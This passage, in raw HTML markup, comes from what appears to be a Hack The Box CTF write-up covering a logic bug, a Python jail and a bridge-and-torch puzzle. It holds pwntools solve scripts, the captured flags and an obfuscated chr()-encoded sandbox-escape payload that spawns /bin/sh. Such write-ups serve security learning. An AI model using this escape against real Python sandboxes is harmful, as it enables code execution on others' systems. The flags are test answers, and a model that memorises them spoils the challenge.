&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;1&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">_&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">100&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recv&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;rockpaperscissors&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;img src="flag2.png" alt="Logic bug go brrr" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{r0ck_p4p3R_5tr5tr_l0g1c_buG}&lt;/strong>&lt;/p>
&lt;h2 id="nehebkaus-trap">nehebkaus trap&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> In search of the ancient relic, you go looking for the Pharaoh&amp;rsquo;s tomb inside the pyramids. A giant granite block falls and blocks your exit, and the walls start closing in! You are trapped. Can you make it out alive and continue your quest?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Miscellaneous&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>A classic pyjail challenge with no source code. It filtered out some special characters like &lt;code>' &amp;quot; _ . /&lt;/code> so we couldn&amp;rsquo;t directly execute any code.&lt;/p>
&lt;p>One way to bypass this is to break down the string of code we want to execute into individual characters and concatenate them together using the &lt;em>+&lt;/em> operator.&lt;/p>
&lt;p>We can bypass the &lt;code>'&lt;/code> and &lt;code>&amp;quot;&lt;/code> filter simply by using &lt;code>chr(hex-value-of-the-ascii-character)&lt;/code> to make the character we want.&lt;/p>
&lt;p>For this I used &lt;code>eval(&amp;quot;__import__('os').system('/bin/sh')&amp;quot;)&lt;/code>. The payload for this is:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">eval(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+chr(0x72)+chr(0x74)+chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x73)+chr(0x79)+chr(0x73)+chr(0x74)+chr(0x65)+chr(0x6d)+chr(0x28)+chr(0x27)+chr(0x2f)+chr(0x62)+chr(0x69)+chr(0x6e)+chr(0x2f)+chr(0x73)+chr(0x68)+chr(0x27)+chr(0x29))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now with all the pieces together, let&amp;rsquo;s send our exploit.&lt;/p>
&lt;img src="flag3.png" alt="FLAG" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{y0u_d3f34t3d_th3_sn4k3_g0d!}&lt;/strong>&lt;/p>
&lt;h2 id="the-chasms-crossing-conundrum">The Chasm&amp;rsquo;s Crossing Conundrum&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you and your trusty team of local pyramid experts stand at the precipice of the chasm, you catch a glimpse of the otherworldly relic glowing tantalizingly in the distance. But the final obstacle looms ahead - a narrow, unstable bridge that threatens to send you all tumbling into the depths below. It won&amp;rsquo;t hold all of you at once. Time is running out, and the charge on your flashlight is dwindling. The chasm seems to be closing in, as if it&amp;rsquo;s trying to swallow you whole. With each step, you feel the weight of the task at hand. The fate of your team, and perhaps even the world, rests on your shoulders. Can you summon the courage and skill to make it across in time, and claim the relic that lies just beyond your grasp?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Miscellaneous&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Hard&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Classic bridge and torch problem. Here&amp;rsquo;s the instruction of the game.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ [*] The path ahead is treacherous. ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ [*] You have to find a viable strategy to get everyone across safely. ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ [*] The bridge can hold a maximum of two persons. ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ [*] The chasm lurks on either side of the bridge waiting for those ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ who think they can get across in total darkness. ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ [*] If two persons get across, one must come back with the flashlight. ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ [*] The flashlight has energy only for a limited amount of time. ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ [*] The time required for two persons to cross, is dictated by the slower. ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ [*] The answer must be given in crossing and returning pairs. For example, ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ [1,2],[2],... . This means that persons 1 and 2 cross and 2 gets back ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ with the flashlight so others can cross. ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ ☠
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There&amp;rsquo;s only one optimal solution for every number of people. You can find it everywhere on the internet so I won&amp;rsquo;t write it here.&lt;/p>
&lt;p>One thing I noticed that the program only has 3 cases which is 6, 7 or 8 people. So instead of writing the general solution, I solved each cases individually.&lt;/p>
&lt;p>Here&amp;rsquo;s the script.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># take second element for sort&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">takeSecond&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">man8&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">]&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">res&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">man6&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">]&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">res&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">man7&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">],[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">,&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">elem&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">]&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">res&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># list&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">person&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;68.183.37.122&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">31392&lt;/span>&lt;span class="p">)&lt;/span>
